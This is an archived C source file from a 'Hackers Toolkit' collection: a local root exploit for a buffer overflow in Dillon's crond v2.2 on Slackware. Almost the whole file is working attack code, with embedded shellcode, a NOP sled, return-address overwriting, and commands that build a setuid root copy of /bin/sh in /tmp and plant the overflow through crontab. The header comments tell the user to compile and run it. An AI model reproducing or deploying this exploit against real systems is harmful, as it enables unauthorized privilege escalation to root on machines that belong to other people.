home *** CD-ROM | disk | FTP | other *** search
/ Hackers Toolkit 2.0 / Hackers_Toolkit_v2.0.iso / HTML / archive / Unix / c-src / dilloncrond.c < prev    next >
Encoding:
C/C++ Source or Header  |  1999-11-04  |  3.6 KB  |  131 lines

  1.  
  2. /* [ http://www.rootshell.com/ ] */
  3.  
  4. /*   Dillon's Crond v2.2 exploit            */
  5. /*                                          */
  6. /*   There exists a buffer overflow         */
  7. /*   in Slackware's /usr/sbin/crond         */
  8. /*   in the fdprintf() function from        */
  9. /*   subs.c [specifically vsprintf()]       */
  10. /*   Also take note that the overflow       */
  11. /*   was discovered by the KSRT team.       */
  12. /*                                          */
  13. /*   However, to exploit this, crond        */
  14. /*   must be invoked without the -l         */
  15. /*   option. By default, it is invoked      */
  16. /*   with the -l option from the            */
  17. /*   /etc/rc.d/rc.M script ->               */
  18. /*                                          */
  19. /*   /usr/sbin/crond -l10                   */
  20. /*                                          */
  21. /*   Therefore, by default this exploit     */
  22. /*   will not work. However, if crond       */
  23. /*   is running without the -l option,      */
  24. /*   then root can be obtained.             */
  25. /*                                          */
  26. /*   Simply compile and run this.           */
  27. /*   and look for a suid root shell         */
  28. /*   in /tmp (/tmp/XxX) in about one        */
  29. /*   minute. This exploit also seems to     */
  30. /*   cause crond to segfault if X is        */
  31. /*   runninga .Please use this in      */
  32. /*   a responsible manner.                  */
  33.  
  34. #include <stdio.h>
  35. #include <stdlib.h>
  36. #include <sys/types.h>
  37. #include <unistd.h>
  38. #include <pwd.h>
  39.  
  40. #define DEFAULT_OFFSET 560
  41. #define DEFAULT_BUFFER_SIZE 980 
  42. #define TOTAL_BUFFER 4096
  43.  
  44. char shellcode[]=
  45. "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07"
  46. "\x89\x56\x0f\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12"
  47. "\x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0\x40\xcd\x80\xe8"
  48. "\xd7\xff\xff\xff/tmp/xo";
  49.  
  50. long get_esp(void) {
  51.    __asm__("movl %esp,%eax");
  52. }
  53.  
  54. void calc_bs(int *bs_ptr)
  55. {
  56.     int len=0;
  57.         struct passwd *p_name;
  58.  
  59.     /* dependant on length of username */
  60.     p_name=getpwuid(getuid());
  61.     len=strlen(p_name->pw_name);
  62.     *bs_ptr = 986 - len;
  63.     return;
  64. }
  65.  
  66. int main(int argc, char **argv) {
  67.     char *buff = NULL;
  68.     unsigned long *addr_ptr = NULL;
  69.     char *ptr = NULL;
  70.     int i, ofs=DEFAULT_OFFSET;
  71.     int bs=DEFAULT_BUFFER_SIZE;
  72.     FILE *fp=NULL;
  73.  
  74.     /* probably will not need to give argument */
  75.     if (argc==2)
  76.         ofs=atoi(argv[1]);
  77.     calc_bs(&bs);
  78.     buff=malloc(TOTAL_BUFFER);
  79.     if(!buff) {
  80.         perror("malloc");
  81.         exit(EXIT_FAILURE);
  82.     }
  83.     ptr=buff;
  84.     memset(ptr,0x90, bs-strlen(shellcode));
  85.     ptr += bs-strlen(shellcode);
  86.     for (i=0; i<strlen(shellcode); i++)
  87.         *(ptr++) = shellcode[i];
  88.     addr_ptr = (long *)ptr;
  89.     for (i=0; i<2; i++)
  90.         *(addr_ptr++)=get_esp()-ofs;
  91.     ptr=(char *)addr_ptr;
  92.     *ptr=0;
  93.  
  94.     /* create binary in /tmp to make suid shell */
  95.     fp=fopen("/tmp/xo.c","w+");
  96.     if (!fp) {
  97.         fprintf(stderr,"Can't open /tmp/xo.c for writing!");
  98.         exit(EXIT_FAILURE);
  99.     }
  100.     fprintf(fp,"#include <stdio.h>\n");
  101.     fprintf(fp,"#include <stdlib.h>\n");
  102.     fprintf(fp,"main() {\n");
  103.     fprintf(fp,"\tsystem(\"/bin/cp /bin/sh /tmp/XxX\");\n");
  104.     fprintf(fp,"\tsystem(\"chown root /tmp/XxX\");\n");
  105.     fprintf(fp,"\tsystem(\"chmod 4755 /tmp/XxX\");\n");
  106.     fprintf(fp,"}\n");
  107.     fclose(fp);
  108.     /* compile our program to create suid shell */
  109.     system("cc -o /tmp/xo /tmp/xo.c");
  110.     unlink("/tmp/xo.c");
  111.  
  112.  
  113.     /* now use crontab to plant overflow for crond */
  114.     fp=fopen("r00t","w+");
  115.     if (!fp) {
  116.         perror("fopen");
  117.         exit(EXIT_FAILURE);
  118.     }
  119.     fprintf(fp,"%s\n",buff);
  120.     fclose(fp);
  121.  
  122.     /* put our r00t crontab in crontabs directory */
  123.     system("/usr/bin/crontab r00t");
  124.     unlink("r00t");
  125.  
  126.     /* helpful reminder */
  127.     printf("Now wait about 1 minute and look\n");
  128.     printf("for the suid shell -> /tmp/XxX\n");
  129.     exit(0);
  130. }
  131.